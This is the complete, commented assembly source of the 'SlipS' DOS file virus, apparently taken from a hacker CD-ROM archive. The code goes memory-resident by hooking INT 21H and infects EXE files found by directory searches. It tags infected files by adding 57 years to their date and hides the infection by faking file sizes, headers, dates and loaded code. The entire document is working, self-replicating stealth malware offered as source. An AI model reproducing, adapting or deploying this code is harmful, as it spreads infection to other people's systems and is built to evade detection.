home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / SLIPS / SLIPS.ASM next >
Encoding:
Assembly Source File  |  1995-07-27  |  31.3 KB  |  822 lines

  1. ;The SlipS Virus.
  2. ;(C) 1995 American Eagle Publications, Inc. All rights reserved.
  3.  
  4. ;This is a resident virus which infects files when they are searched for
  5. ;using the FCB-based search functions. It is a full stealth virus.
  6.  
  7.         .SEQ                       ;segments must appear in sequential order
  8.                                    ;to simulate conditions in actual active virus
  9.  
  10. ;HOSTSEG program code segment. The virus gains control before this routine and
  11. ;attaches itself to another EXE file.
  12. HOSTSEG SEGMENT BYTE
  13.         ASSUME  CS:HOSTSEG,SS:HSTACK
  14.  
  15. ;This host simply terminates and returns control to DOS.
  16. HOST:
  17.         db      5000 dup (90H)          ;make host larger than virus
  18.         mov     ax,4C00H
  19.         int     21H                     ;terminate normally
  20. HOSTSEG ENDS
  21.  
  22. ;Host program stack segment
  23. STACKSIZE       EQU     100H           ;size of stack for this program
  24.  
  25. HSTACK  SEGMENT PARA STACK 'STACK'
  26.         db  STACKSIZE dup (0)
  27. HSTACK  ENDS
  28.  
  29. ;************************************************************************
  30. ;This is the virus itself
  31.  
  32. ;Intruder Virus code segment. This gains control first, before the host. As this
  33. ;ASM file is layed out, this program will look exactly like a simple program
  34. ;that was infected by the virus.
  35.  
  36. VSEG    SEGMENT PARA
  37.         ASSUME  CS:VSEG,DS:VSEG,SS:HSTACK
  38.  
  39. ;******************************************************************************
  40. ;This portion of the virus goes resident if it isn't already. In theory,
  41. ;because of the stealthing, this code should never get control unless the
  42. ;virus is not resident. Thus, it never has to check to see if it's already
  43. ;there!
  44. SLIPS:
  45.         mov     ax,4209H                ;see if virus is already there
  46.         int     21H
  47.         jc      NOT_RESIDENT            ;no, go make it resident
  48.         mov     ax,cs                   ;relocate relocatables
  49.         add     WORD PTR cs:[HOSTS],ax
  50.         add     WORD PTR cs:[HOSTC+2],ax
  51.         cli                             ;set up host stack
  52.         mov     ss,WORD PTR cs:[HOSTS]
  53.         mov     sp,WORD PTR cs:[HOSTS+2]
  54.         sti
  55.         jmp     DWORD PTR cs:[HOSTC]    ;and transfer control to the host
  56.  
  57. NOT_RESIDENT:
  58.         push    cs                      ;first, let's move host to PSP:100H
  59.         pop     ds                      ;note that the host must be larger
  60.         xor     si,si                   ;than the virus for this to work
  61.         mov     di,100H
  62.         mov     cx,OFFSET END_VIRUS
  63.         rep     movsb                   ;move it
  64.         mov     ax,es
  65.         add     ax,10H
  66.         push    ax                      ;now jump to PSP+10H:GO_RESIDENT
  67.         mov     ax,OFFSET MOVED_DOWN
  68.         push    ax
  69.         retf                            ;using a retf
  70.  
  71. MOVED_DOWN:
  72.         push    cs
  73.         pop     ds                      ;ds=cs
  74.         call    INSTALL_INTS            ;install interrupt handlers
  75.         cmp     BYTE PTR [FIRST],1               ;first generation?
  76.         jne     GO_EXEC                 ;no, go exec host
  77.         mov     BYTE PTR [FIRST],0               ;else reset flag
  78.         jmp     SHORT GO_RESIDENT       ;and go resident
  79.  
  80. GO_EXEC:
  81.         cli
  82.         mov     ax,cs
  83.         mov     ss,ax
  84.         mov     sp,OFFSET END_STACK     ;move stack down
  85.         sti
  86.         mov     bx,sp
  87.         mov     cl,4                    ;prep to reduce memory size
  88.         shr     bx,cl
  89.         add     bx,11H                  ;bx=paragraphs to save
  90.         mov     ah,4AH
  91.         int     21H                     ;reduce it
  92.  
  93.         mov     bx,2CH                  ;get environment segment
  94.         mov     es,es:[bx]
  95.         mov     ax,ds
  96.         sub     ax,10H
  97.         mov     WORD PTR [EXEC_BLK],es  ;set up EXEC data structure
  98.         mov     [EXEC_BLK+4],ax         ;for EXEC function to execute host
  99.         mov     [EXEC_BLK+8],ax
  100.         mov     [EXEC_BLK+12],ax
  101.  
  102.         xor     di,di                   ;now get host's name from
  103.         mov     cx,7FFFH                ;environment
  104.         xor     al,al
  105. HNLP:   repnz   scasb
  106.         scasb
  107.         loopnz  HNLP
  108.         add     di,2                    ;es:di point to host's name now
  109.  
  110.         push    es                      ;now prepare to EXEC the host
  111.         pop     ds
  112.         mov     dx,di                   ;ds:dx point to host's name now
  113.         push    cs
  114.         pop     es
  115.         mov     bx,OFFSET EXEC_BLK      ;es:bx point to EXEC_BLK
  116.         mov     ax,4B00H
  117.         int     21H                     ;now EXEC the host
  118.  
  119.         push    ds
  120.         pop     es                      ;es=segment of host EXECed
  121.         mov     ah,49H                  ;free memory from EXEC
  122.         int     21H
  123.         mov     ah,4DH                  ;get host return code
  124.         int     21H
  125.  
  126. GO_RESIDENT:
  127.         mov     dx,OFFSET END_STACK     ;now go resident
  128.         mov     cl,4                    ;keep everything in memory
  129.         shr     dx,cl
  130.         add     dx,11H
  131.         mov     ah,31H                  ;return with host's return code
  132.         int     21H
  133.  
  134.         db      'SlipS gotcha!'
  135.  
  136. ;INSTALL_INTS installs the interrupt 21H hook so that the virus becomes
  137. ;active. All this does is put the existing INT 21H vector in OLD_21H and
  138. ;put the address of INT_21H into the vector.
  139. INSTALL_INTS:
  140.         push    es                      ;preserve es!
  141.         mov     ax,3521H                ;hook interrupt 21H
  142.         int     21H
  143.         mov     WORD PTR [OLD_21H],bx   ;save old here
  144.         mov     WORD PTR [OLD_21H+2],es
  145.         mov     dx,OFFSET INT_21H       ;and set up new
  146.         mov     ax,2521H
  147.         int     21H
  148.         mov     BYTE PTR [INDOS],0      ;clear this flag
  149.         pop     es
  150.         ret
  151.  
  152. ;This is the interrupt 21H hook. It becomes active when installed by
  153. ;INSTALL_INTS. It traps Functions 11H and 12H and infects all EXE files
  154. ;found by those functions.
  155.  
  156. INDOS   DB      0               ;local INDOS function
  157.  
  158. INT_21H:
  159.         cmp     ax,4209H        ;self-test for virus?
  160.         jne     I211
  161.         clc                     ;yes, clear carry and exit
  162.         retf    2
  163. I211:   cmp     cs:[INDOS],1    ;already inside of DOS?
  164.         je      GOLD            ;yes, don't re-enter!
  165.         cmp     ah,11H          ;DOS FCB-based Search First Function
  166.         jne     I212
  167.         jmp     SRCH_HOOK       ;yes, go execute hook
  168. I212:   cmp     ah,12H          ;FCB-based Search Next Function
  169.         jne     I214
  170.         jmp     SRCH_HOOK
  171. I214:   cmp     ah,3FH          ;Handle-based read function
  172.         jne     I216
  173.         jmp     HREAD_HOOK
  174. I216:   cmp     ax,4202H        ;File positioning function
  175.         jne     I217
  176.         jmp     FPTR_HOOK
  177. I217:   cmp     ah,4BH          ;DOS EXEC function
  178.         jne     I218
  179.         jmp     EXEC_HOOK
  180. I218:   cmp     ah,4EH          ;Handle-based search first function
  181.         jne     I219
  182.         jmp     HSRCH_HOOK
  183. I219:   cmp     ah,4FH          ;Handle-based search next function
  184.         jne     I220
  185.         jmp     HSRCH_HOOK
  186. I220:   cmp     ah,57H          ;File date and time function
  187.         jne     I221
  188.         jmp     DATE_HOOK
  189. I221:
  190.  
  191. GOLD:   jmp     DWORD PTR cs:[OLD_21H]  ;execute original int 21 handler
  192.  
  193. ;This routine just calls the old Interrupt 21H vector internally. It is
  194. ;used to help get rid of tons of pushf/call DWORD PTR's in the code
  195. DOS:
  196.         pushf
  197.         call    DWORD PTR cs:[OLD_21H]
  198.         ret
  199.  
  200.  
  201. ;Handle-based read hook. This hook stealths file reads at the beginning
  202. ;and the end. At the beginning, it replaces the modified EXE header with
  203. ;the original, uninfected one. At the end, it makes it appear as if the
  204. ;virus is not appended to the file
  205. HREAD_HOOK:
  206.         push    bx
  207.         push    cx
  208.         push    dx
  209.         push    si
  210.         push    ds
  211.         push    es
  212.  
  213.         call    FIND_SFT                ;find system file tbl for this file
  214.         mov     ax,es:[bx+15]           ;get file date
  215.         cmp     ax,57*512               ;is it infected?
  216.         jnc     HRH3
  217.         jmp     HRHNI                   ;no, just go do read normally
  218.  
  219. HRH3:   mov     ax,es:[bx+15H]          ;get current file pointer
  220.         mov     dx,es:[bx+17H]          ;dx:ax = file ptr
  221.  
  222.         push    bp
  223.         mov     bp,sp
  224.         push    ax
  225.         push    dx
  226.         mov     cx,es:[bx+11H]          ;bx:cx is the file size now
  227.         mov     bx,es:[bx+13H]
  228.         sub     cx,OFFSET END_VIRUS + 10H
  229.         sbb     bx,0                    ;bx:cx is the old file size now
  230.  
  231.         sub     cx,ax
  232.         sbb     bx,dx                   ;bx:cx is now distance to end of file
  233.         jnc     HRH4                    ;ptr > file size, return c on read
  234.         xor     bx,bx
  235.         xor     cx,cx                   ;zero distance to end of file
  236. HRH4:   mov     dx,[bp+10]              ;bx=requested amount to read
  237.         or      bx,bx                   ;is distance > 64K? if so, no problem
  238.         jnz     HRH5
  239.         cmp     cx,dx                   ;is distance > dx? if so, no problem
  240.         jnc     HRH5
  241.         mov     [bp+10],cx              ;else adjust requested read amt
  242. HRH5:   pop     dx
  243.         pop     ax
  244.         pop     bp
  245.  
  246.         or      dx,dx                   ;are we reading a modified EXE header?
  247.         jnz     CKHI                    ;no, continue
  248.         cmp     ax,24
  249.         jnc     CKHI                    ;no, continue
  250.  
  251. CKLO:                                   ;yes, must adjust header as read
  252.         push    bp
  253.         mov     bp,sp
  254.  
  255.         push    ax
  256.         mov     bx,[bp+12]              ;get file handle
  257.         mov     cx,[bp+10]              ;get cx and ds:dx for read
  258.         mov     ds,[bp+4]
  259.         mov     dx,[bp+8]
  260.         mov     ah,3FH
  261.         call    DOS
  262.  
  263.         mov     bx,dx
  264.         mov     ax,[bx+8]               ;get header paragraphs
  265.         add     ax,[bx+16H]             ;add initial cs
  266.         mov     cx,16
  267.         mul     cx                      ;dx:ax = start of virus cs
  268.         add     ax,OFFSET EXE_HDR
  269.         adc     dx,0
  270.         mov     cx,dx
  271.         mov     dx,ax                   ;cx:dx = offset of EXE_HDR in file
  272.         pop     ax
  273.         push    ax
  274.         add     dx,ax                   ;cx:dx = offset of proper part of hdr
  275.         adc     cx,0                    ;to read
  276.         mov     ax,4200H
  277.         mov     bx,[bp+12]
  278.         call    DOS                     ;move there
  279.         pop     ax
  280.         push    ax
  281.         mov     cx,24
  282.         sub     cx,ax                   ;cx=bytes to read
  283.         mov     dx,[bp+8]
  284.         add     dx,ax                   ;place to read to
  285.         mov     ah,3FH
  286.         call    DOS                     ;read the old data
  287.  
  288.         pop     dx
  289.         pushf
  290.         xor     cx,cx
  291.         add     dx,[bp+10]              ;cx:dx = where file ptr should end up
  292.         mov     ax,4200H
  293.         call    DOS                     ;move it there
  294.         popf
  295.         mov     ax,[bp+10]              ;set amount read here
  296.  
  297. CKLOD:  pop     bp                      ;done
  298.         pop     es
  299.         pop     ds
  300.         pop     si
  301.         pop     dx
  302.         pop     cx
  303.         pop     bx
  304.         retf    2
  305.  
  306. CKHI:   pop     es
  307.         pop     ds
  308.         pop     si
  309.         pop     dx
  310.         pop     cx
  311.         pop     bx
  312.         mov     ah,3FH
  313.         call    DOS
  314.         retf    2
  315.  
  316. HRHNI:                                  ;come here if file is not infected
  317.         pop     es                      ;restore all registers
  318.         pop     ds
  319.         pop     si
  320.         pop     dx
  321.         pop     cx
  322.         pop     bx
  323.         mov     ah,3FH
  324.         jmp     GOLD                    ;and go to DOS
  325.  
  326.  
  327. ;This hooks attempts to move the file pointer with DOS function 4202H. It
  328. ;computes file positions relative to the end of the host, rather than relative
  329. ;to the end of the file.
  330. FPTR_HOOK:
  331.         push    bx
  332.         push    cx
  333.         push    dx
  334.         push    si
  335.         push    es
  336.         push    ds
  337.  
  338.         call    FIND_SFT                ;find SFT entry corresponding to file
  339.         mov     ax,es:[bx+15]           ;get file date
  340.         cmp     ax,57*512               ;is it infected?
  341.         jc      FPNI                    ;no, just handle normally
  342.  
  343.         push    bp                      ;infected, we must adjust this call
  344.         mov     bp,sp
  345.         mov     dx,es:[bx+11H]
  346.         mov     cx,es:[bx+13H]          ;cx:dx is the file size now
  347.         add     dx,[bp+8]
  348.         adc     cx,[bp+10]              ;cx:dx is the desired new pointer
  349.         sub     dx,OFFSET END_VIRUS + 16
  350.         sbb     cx,0                    ;cx:dx is the adjusted new pointer
  351.         mov     bx,[bp+12]
  352.         mov     ax,4200H                ;move relative to start of file
  353.         call    DOS
  354.         mov     [bp+8],dx               ;dx:ax is now the absolute file ptr
  355.  
  356.         pop     bp
  357.         pop     ds
  358.         pop     es
  359.         pop     si
  360.         pop     dx
  361.         pop     cx
  362.         pop     bx
  363.         retf    2
  364.  
  365. FPNI:                                   ;file not infected, handle normally
  366.         pop     ds
  367.         pop     es
  368.         pop     si
  369.         pop     dx
  370.         pop     cx
  371.         pop     bx
  372.         mov     ax,4202H
  373.         jmp     GOLD
  374.  
  375.  
  376. ;This subroutine sets es:bx to point to the system file table entry
  377. ;corresponding to the file handle passed to it in bx. It also sets ds equal
  378. ;to the PSP of the current process.
  379. FIND_SFT:
  380.         push    bx
  381.         mov     ah,62H                  ;get PSP of current process in es
  382.         int     21H
  383.         mov     ds,bx                   ;ds=current PSP
  384.         mov     ah,52H                  ;now get lists of lists
  385.         int     21H
  386.         les     bx,es:[bx+4]            ;get SFT pointer
  387.         pop     si                      ;handle number to si
  388.         mov     al,[si+18H]             ;get SFT number from PSP
  389.         xor     ah,ah
  390. FSF1:   cmp     ax,es:[bx+4]            ;number of SFT entries in this block
  391.         jle     FSF2                    ;right block? continue
  392.         sub     ax,es:[bx+4]            ;else decrement counter
  393.         les     bx,es:[bx]              ;and get next pointer
  394.         jmp     FSF1
  395. FSF2:   add     bx,6                    ;go to first SFT entry in this block
  396.         mov     ah,3BH
  397.         mul     ah
  398.         add     bx,ax                   ;es:bx points to correct SFT
  399.         ret
  400.  
  401.  
  402. ;This hooks the EXEC function 4BH, subfunction 1.
  403. ;When an infected file is loaded with this function, the virus is cleaned off
  404. ;and only the host is loaded.
  405. EXEC_HOOK:
  406.         cmp     al,1                    ;we only handle subfunction 1 here
  407.         je      EXEC_HOOK_GO
  408.         jmp     GOLD
  409. EXEC_HOOK_GO:
  410.         push    ds
  411.         push    es                      ;save data block location
  412.         push    bx
  413.         call    DOS                     ;ok, loaded
  414.         pop     bx                      ;restore data block location
  415.         pop     es
  416.         push    ax                      ;save return code
  417.         mov     si,es:[bx+18]
  418.         mov     ds,es:[bx+20]           ;ds:si = starting cs:ip of child
  419.         push    si
  420.         push    es
  421.         mov     di,OFFSET SLIPS
  422.         push    cs
  423.         pop     es                      ;es:di = starting point of virus
  424.         mov     cx,10H
  425.         repz    cmpsw                   ;compare 32 bytes of code
  426.         pop     es
  427.         pop     si
  428.         jnz     EXH                     ;not the virus, exit now
  429.                                         ;else we have the virus at ds:si
  430.         mov     ax,[si+OFFSET HOSTC]    ;offset of host startup
  431.         mov     cx,[si+OFFSET HOSTC+2]  ;segment of host startup
  432.         mov     dx,ds
  433.         add     cx,dx                   ;cx=relocated host start segment
  434.         mov     es:[bx+18],ax
  435.         mov     es:[bx+20],cx           ;set child start @ = host
  436.         mov     ax,WORD PTR [si+OFFSET HOSTS]
  437.         mov     cx,WORD PTR [si+OFFSET HOSTS+2]
  438.         add     ax,dx
  439.         mov     es:[bx+14],cx
  440.         mov     es:[bx+16],ax
  441.         push    es
  442.         push    ds
  443.         pop     es
  444.         xor     di,di                   ;es:di point to virus in code
  445.         mov     cx,OFFSET END_VIRUS
  446.         xor     al,al
  447.         rep     stosb                   ;zero it out so you don't see it
  448.         pop     es
  449.  
  450. EXH:    pop     ax                      ;restore return code
  451.         pop     ds
  452.         clc
  453.         retf    2
  454.  
  455.  
  456. ;This is the Search First/Search Next Function Hook, hooking the handle-based
  457. ;functions. It requires a local stack to avoid an overflow in the INT 21H
  458. ;internal stack
  459.  
  460. OSTACK  DW      0,0
  461. TMP     DW      0
  462.  
  463. HSRCH_HOOK:
  464.         mov     cs:[INDOS],1
  465.         mov     cs:[OSTACK],sp
  466.         mov     cs:[OSTACK+2],ss
  467.         mov     cs:[TMP],ax
  468.         cli
  469.         mov     ax,cs
  470.         mov     ss,ax
  471.         mov     sp,OFFSET END_STACK
  472.         sti
  473.         mov     ax,cs:[TMP]
  474.  
  475.         call    DOS                     ;call original int 21H handler
  476.         pushf
  477.         or      al,al           ;was it successful?
  478.         jnz     HSEXIT          ;nope, just exit
  479.         pushf
  480.         push    ax              ;save registers
  481.         push    bx
  482.         push    cx
  483.         push    dx
  484.         push    es
  485.         push    ds
  486.  
  487.         mov     ah,2FH          ;get dta address in es:bx
  488.         int     21H
  489.         push    es
  490.         pop     ds
  491.  
  492.         mov     ax,[bx+24]      ;get file date
  493.         cmp     ax,57*512       ;is date >= 2037 ?
  494.         jc      EX_HSRCH        ;no, we're all done
  495.         sub     [bx+24],57*512  ;yes, subtract 57 years from reported date
  496.         mov     ax,[bx+26]
  497.         mov     dx,[bx+28]      ;file size in dx:ax
  498.         sub     ax,OFFSET END_VIRUS + 10H
  499.         sbb     dx,0            ;adjust it
  500.         mov     [bx+26],ax      ;and save it back to DTA
  501.         mov     [bx+28],dx
  502. EX_HSRCH:
  503.         pop     ds              ;restore registers
  504.         pop     es
  505.         pop     dx
  506.         pop     cx
  507.         pop     bx
  508.         pop     ax
  509.         popf
  510. HSEXIT: popf
  511.         cli
  512.         mov     ss,cs:[OSTACK+2]
  513.         mov     sp,cs:[OSTACK]
  514.         sti
  515.         mov     cs:[INDOS],0
  516.         retf    2
  517.  
  518.  
  519. ;This is the Search First/Search Next Function Hook, hooking the FCB-based
  520. ;functions
  521. SRCH_HOOK:
  522.         mov     cs:[INDOS],1
  523.         call    DOS             ;call original handler
  524.         or      al,al           ;was it successful?
  525.         jnz     SEXIT           ;nope, just exit
  526.         pushf
  527.         push    ax              ;save registers
  528.         push    bx
  529.         push    cx
  530.         push    dx
  531.         push    di
  532.         push    si
  533.         push    es
  534.         push    ds
  535.  
  536.         mov     ah,2FH          ;get dta address in es:bx
  537.         int     21H
  538.         cmp     BYTE PTR es:[bx],0FFH
  539.         jne     SH1             ;an extended fcb?
  540.         add     bx,7            ;yes, adjust index
  541. SH1:    push    es
  542.         push    bx
  543.         call    FILE_OK         ;ok to infect?
  544.         jc      ADJ_INFECTED    ;no, see if already infected, and stealth
  545.         call    INFECT_FILE     ;go ahead and infect it
  546. ADJ_INFECTED:
  547.         pop     bx
  548.         pop     es
  549.         mov     ax,es:[bx+25]   ;get file date
  550.         cmp     ax,57*512       ;is date >= 2037 ?
  551.         jc      EXIT_SRCH       ;no, we're all done
  552.         sub     es:[bx+25],57*512 ;yes, subtract 57 years from reported date
  553.         mov     ax,es:[bx+29]
  554.         mov     dx,es:[bx+31]   ;file size in dx:ax
  555.         sub     ax,OFFSET END_VIRUS + 10H
  556.         sbb     dx,0            ;adjust it
  557.         mov     es:[bx+29],ax   ;and save it back to DTA
  558.         mov     es:[bx+31],dx
  559. EXIT_SRCH:
  560.         pop     ds
  561.         pop     es
  562.         pop     si              ;restore registers
  563.         pop     di
  564.         pop     dx
  565.         pop     cx
  566.         pop     bx
  567.         pop     ax
  568.         popf
  569. SEXIT:  mov     cs:[INDOS],0
  570.         retf    2               ;return to original caller with current flags
  571.  
  572. ;This routine hooks the file date/time function 57H. For function 0 (get date)
  573. ;it subtracts 57 from the year if the file is infected already. For function 1
  574. ;(set date), it adds 57 to the year if the current year is > 2037
  575. DATE_HOOK:
  576.         cmp     al,1
  577.         jl      DH_0            ;go handle sub-function 0
  578.  
  579. ;Subfunction 1: set date
  580. DH_1:   push    dx
  581.         push    cx
  582.         mov     al,0            ;first get current date
  583.         call    DOS
  584.         cmp     dx,57*512       ;greater than 2037?
  585.         pop     cx
  586.         pop     dx
  587.         jc      DH_11           ;no, just set actual date
  588.         add     dx,57*512       ;yes, add 57 years to new date
  589. DH_11:  mov     al,1
  590.         pushf
  591.         call    DWORD PTR cs:[OLD_21H]
  592.         retf    2
  593.  
  594. ;Subfunction 0: get date
  595. DH_0:   call    DOS             ;do original int 21H
  596.         pushf
  597.         cmp     dx,57*512       ;is year greater than 2037?
  598.         jc      DHX             ;no, report actual value
  599.         sub     dx,57*512       ;yes, subtract 57 years
  600. DHX:    popf
  601.         retf    2
  602.  
  603. ;Function to determine whether the file found by the search routine is
  604. ;useable. If so return nc, else return c.
  605. ;What makes a file useable?:
  606. ;              a) It must have an extension of EXE.
  607. ;              b) The file date must be earlier than 2037.
  608. ;              c) The signature field in the EXE header must be 'MZ'. (These
  609. ;                 are the first two bytes in the file.)
  610. ;              d) The Overlay Number field in the EXE header must be zero.
  611. ;              e) It should be a DOS EXE, without a new header.
  612. ;              f) The host must be larger than the virus.
  613.  
  614. FILE_OK:
  615.         push    es
  616.         pop     ds
  617.         cmp     WORD PTR [bx+9],'XE'
  618.         jne     OK_EX                   ;check for an EXE file
  619.         cmp     BYTE PTR [bx+11],'E'
  620.         jne     OK_EX                   ;if not EXE, just return control to caller
  621.         cmp     WORD PTR [bx+25],57*512 ;check file date (>=2037?)
  622.         jc      OK_GOON                 ;probably infected already, don't infect
  623. OK_EX:  jmp     OK_END2
  624.  
  625. OK_GOON:mov     si,bx                   ;ds:si now points to fcb
  626.         inc     si                      ;now, to file name in fcb
  627.         push    cs
  628.         pop     es
  629.         mov     di,OFFSET FNAME         ;es:di points to file name buffer here
  630.         mov     cx,8                    ;number of bytes in file name
  631. FO1:    lodsb                           ;let's get the file name
  632.         stosb
  633.         cmp     al,20H
  634.         je      FO2
  635.         loop    FO1
  636.         inc     di
  637. FO2:    mov     BYTE PTR es:[di-1],'.'  ;put it in ASCIIZ format
  638.         mov     ax,'XE'                 ;with no spaces
  639.         stosw                           ;so we can use handle-based routines
  640.         mov     ax,'E'                  ;to check it further
  641.         stosw
  642.  
  643.         push    cs
  644.         pop     ds                     ;now cs, ds and es all point here
  645.         mov     dx,OFFSET FNAME
  646.         mov     ax,3D02H               ;r/w access open file using handle
  647.         int     21H
  648.         jc      OK_END1                ;error opening - C set - quit without closing
  649.         mov     bx,ax                  ;put handle into bx and leave bx alone from here on out
  650.  
  651.         mov     cx,1CH                 ;read 28 byte EXE file header
  652.         mov     dx,OFFSET EXE_HDR      ;into this buffer
  653.         mov     ah,3FH                 ;for examination and modification
  654.         call    DOS
  655.         jc      OK_END                 ;error in reading the file, so quit
  656.         cmp     WORD PTR [EXE_HDR],'ZM';check EXE signature of MZ
  657.         jnz     OK_END                 ;close & exit if not
  658.         cmp     WORD PTR [EXE_HDR+26],0;check overlay number
  659.         jnz     OK_END                 ;not 0 - exit with c set
  660.         cmp     WORD PTR [EXE_HDR+24],40H ;is rel table at offset 40H or more?
  661.         jnc     OK_END                 ;yes, it is not a DOS EXE, so skip it
  662.         mov     ax,WORD PTR [EXE_HDR+4];get page count
  663.         dec     ax
  664.         mov     cx,512
  665.         mul     cx
  666.         add     ax,WORD PTR [EXE_HDR+2]
  667.         adc     dx,0                   ;dx:ax contains file size
  668.         or      dx,dx                  ;if dx>0
  669.         jz      OK_END3                ;then the file is big enough
  670.         cmp     ax,OFFSET END_VIRUS    ;check size
  671.         jc      OK_END                 ;not big enough, exit
  672. OK_END3:clc                            ;no, all clear, clear carry
  673.         jmp     SHORT OK_END1          ;and leave file open
  674. OK_END: mov     ah,3EH                 ;else close the file
  675.         int     21H
  676. OK_END2:stc                            ;set carry to indicate file not ok
  677. OK_END1:ret                            ;return with c flag set properly
  678.  
  679. ;This routine moves the virus (this program) to the end of the EXE file
  680. ;Basically, it just copies everything here to there, and then goes and
  681. ;adjusts the EXE file header. It also makes sure the virus starts
  682. ;on a paragraph boundary, and adds how many bytes are necessary to do that.
  683. INFECT_FILE:
  684.         mov     ax,4202H                ;seek end of file to determine size
  685.         xor     cx,cx
  686.         xor     dx,dx
  687.         int     21H
  688.         mov     cx,dx                   ;move to regs for Function 42H
  689.         mov     dx,ax
  690.         push    dx                      ;save this for end adjustment
  691.         or      dl,0FH                  ;adjust file length to paragraph
  692.         add     dx,1                    ;boundary
  693.         adc     cx,0
  694.         mov     WORD PTR [FSIZE+2],cx
  695.         mov     WORD PTR [FSIZE],dx
  696.         mov     ax,4200H                ;set file pointer, relative to beginning
  697.         int     21H                     ;go to end of file + boundary
  698.  
  699.         mov     cx,OFFSET END_VIRUS     ;last byte of code
  700.         xor     dx,dx                   ;first byte of code, ds:dx
  701.         mov     ah,40H                  ;write body of virus to file
  702.         int     21H
  703.  
  704.         pop     ax                      ;original file size
  705.         and     al,0FH                  ;adjust file to constant size increase
  706.         jz      INF1                    ;was exact, dont add 10H more
  707.         mov     cx,10H
  708.         sub     cl,al                   ;cx=number of bytes to write
  709.         mov     dx,OFFSET END_STACK     ;write any old garbage
  710.         mov     ah,40H
  711.         int     21H
  712.  
  713. INF1:   mov     dx,WORD PTR [FSIZE]     ;find relocatables in code
  714.         mov     cx,WORD PTR [FSIZE+2]   ;original end of file
  715.         add     dx,OFFSET HOSTS         ;            + offset of HOSTS
  716.         adc     cx,0                    ;cx:dx is that number
  717.         mov     ax,4200H                ;set file pointer to 1st relocatable
  718.         int     21H
  719.  
  720.         mov     ax,WORD PTR [FSIZE]     ;calculate viral initial CS
  721.         mov     dx,WORD PTR [FSIZE+2]   ; = File size / 16 - Header Size(Para)
  722.         mov     cx,16
  723.         div     cx                      ;dx:ax contains file size / 16
  724.         sub     ax,WORD PTR [EXE_HDR+8] ;subtract exe header size, in paragraphs
  725.         push    ax
  726.         sub     WORD PTR [EXE_HDR+14],ax         ;adjust initial cs and ss
  727.         sub     WORD PTR [EXE_HDR+22],ax         ;to work with relocation scheme
  728.  
  729.         mov     dx,OFFSET EXE_HDR+14    ;get correct host ss:sp, cs:ip
  730.         mov     cx,10
  731.         mov     ah,40H                  ;and write it to HOSTS/HOSTC
  732.         int     21H
  733.  
  734.         xor     cx,cx                   ;so now adjust the EXE header values
  735.         xor     dx,dx
  736.         mov     ax,4200H                ;set file pointer to start of file
  737.         int     21H
  738.  
  739.         pop     ax
  740.         mov     WORD PTR [EXE_HDR+22],ax;save as initial CS
  741.         mov     WORD PTR [EXE_HDR+14],ax;save as initial SS
  742.         mov     WORD PTR [EXE_HDR+20],OFFSET SLIPS        ;save initial ip
  743.         mov     WORD PTR [EXE_HDR+16],OFFSET END_VIRUS + STACKSIZE  ;save initial sp
  744.  
  745.         mov     dx,WORD PTR [FSIZE+2]   ;calculate new file size for header
  746.         mov     ax,WORD PTR [FSIZE]     ;get original size
  747.         add     ax,OFFSET END_VIRUS + 200H  ;add virus size + 1 paragraph, 512 bytes
  748.         adc     dx,0
  749.         mov     cx,200H                 ;divide by paragraph size
  750.         div     cx                      ;ax=paragraphs, dx=last paragraph size
  751.         mov     WORD PTR [EXE_HDR+4],ax ;and save paragraphs here
  752.         mov     WORD PTR [EXE_HDR+2],dx ;last paragraph size here
  753.         mov     cx,1CH                  ;and save 1CH bytes of header
  754.         mov     dx,OFFSET EXE_HDR       ;at start of file
  755.         mov     ah,40H
  756.         int     21H
  757.  
  758.         mov     ax,5700H                ;get file date and time
  759.         int     21H
  760.         add     dx,57*512               ;add 57 years to date
  761.         mov     ax,5701H                ;and set date again
  762.         int     21H
  763.  
  764.         mov     dx,OFFSET FNAME         ;get file attributes
  765.         mov     ax,4300H
  766.         int     21H
  767.         push    cx                      ;save them for a second
  768.         mov     ah,3EH                  ;close file now
  769.         int     21H
  770.         pop     cx                      ;and then set file attributes
  771.         mov     ax,4301H
  772.         int     21H
  773.         ret                             ;that's it, infection is complete!
  774.  
  775. ;******************************************************************************
  776. ;This is the data area for the virus which goes resident when the virus goes
  777. ;resident. It contains data needed by the resident part, and data which the
  778. ;startup code needs pre-initialized.
  779.  
  780. OLD_21H         DD      ?                       ;old int 21H vector
  781.  
  782. ;The following is the control block for the DOS EXEC function. It is used by
  783. ;the virus to execute the host program after it installs itself in memory.
  784. EXEC_BLK        DW      0                       ;seg @ of environment string
  785.                 DW      80H                     ;4 byte ptr to command line
  786.                 DW      0
  787.                 DW      5CH                     ;4 byte ptr to first FCB
  788.                 DW      0
  789.                 DW      6CH                     ;4 byte ptr to second FCB
  790.                 DW      0
  791.                 DD      ?                       ;init ss:sp for subfctn 1
  792.                 DD      ?                       ;init cs:ip for subfctn 1
  793.  
  794. FNAME           DB      12 dup (0)
  795. FSIZE           DW      0,0
  796. EXE_HDR         DB      1CH dup (?)             ;buffer for EXE file header
  797. PSP             DW      ?                       ;place to store PSP segment
  798. FIRST           DB      1                       ;flag to indicate first generation
  799.  
  800. ;The following 10 bytes must stay together because they are an image of 10
  801. ;bytes from the EXE header
  802. HOSTS           DW      0,STACKSIZE             ;host stack and code segments
  803. FILLER          DW      ?                       ;these are dynamically set by the virus
  804. HOSTC           DW      OFFSET HOST,0           ;but hard-coded in the 1st generation
  805.  
  806. END_VIRUS:                                      ;marker for end of resident part
  807.  
  808. ;******************************************************************************
  809. ;This is a temporary local stack for the virus used by it when EXECing the
  810. ;host program. It reduces its memory size as much as possible to give the
  811. ;host room to EXEC. However, it must maintain a stack, so here it is. This
  812. ;part of the virus is not kept when it goes resident.
  813.  
  814. LOCAL_STK       DB      256 dup (0)             ;local stack for virus
  815.  
  816. END_STACK:
  817.  
  818. VSEG    ENDS
  819.  
  820.         END     SLIPS
  821.  
  822.